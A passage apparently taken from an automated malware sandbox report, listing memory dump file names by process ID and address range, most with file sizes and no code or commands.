                            1.6MB

                          • memory/9888-1652-0x0000000002FE9A6B-mapping.dmp
                          • memory/10780-1836-0x0000000002C9259C-mapping.dmp
                          • memory/56860-548-0x0000000008500000-0x0000000008522000-memory.dmp
                            Filesize

                            136KB

                          • memory/56860-284-0x0000000000570000-0x0000000000694000-memory.dmp
                            Filesize

                            1.1MB

                          • memory/56860-214-0x0000000000000000-mapping.dmp
                          • memory/56860-541-0x0000000008410000-0x00000000084A2000-memory.dmp
                            Filesize

                            584KB

                          • memory/56860-567-0x00000000085F0000-0x0000000008940000-memory.dmp
                            Filesize

                            3.3MB

                          • memory/56860-331-0x00000000082D0000-0x00000000083F2000-memory.dmp
                            Filesize

                            1.1MB

                          • memory/75684-235-0x00000000005A217A-mapping.dmp
                          • memory/75684-717-0x0000000009AD0000-0x0000000009FCE000-memory.dmp
                            Filesize

                            5.0MB

                          • memory/75684-408-0x0000000008B00000-0x0000000008C0A000-memory.dmp
                            Filesize

                            1.0MB

                          • memory/75684-416-0x0000000008A30000-0x0000000008A42000-memory.dmp
                            Filesize

                            72KB

                          • memory/75684-405-0x0000000008FC0000-0x00000000095C6000-memory.dmp
                            Filesize

                            6.0MB

                          • memory/75684-737-0x0000000008E40000-0x0000000008ED2000-memory.dmp
                            Filesize

                            584KB

                          • memory/75684-424-0x0000000008A90000-0x0000000008ACE000-memory.dmp
                            Filesize

                            248KB

                          • memory/75684-439-0x0000000008C10000-0x0000000008C5B000-memory.dmp
                            Filesize

                            300KB

                          • memory/75684-759-0x0000000008F50000-0x0000000008FB6000-memory.dmp
                            Filesize

                            408KB

                          • memory/75684-330-0x0000000000580000-0x00000000005A8000-memory.dmp
                            Filesize

                            160KB

                          • memory/75684-1135-0x000000000A3F0000-0x000000000A440000-memory.dmp
                            Filesize

                            320KB

                          • memory/75684-897-0x000000000A1A0000-0x000000000A362000-memory.dmp
                            Filesize

                            1.8MB

                          • memory/75684-904-0x000000000A8A0000-0x000000000ADCC000-memory.dmp
                            Filesize

                            5.2MB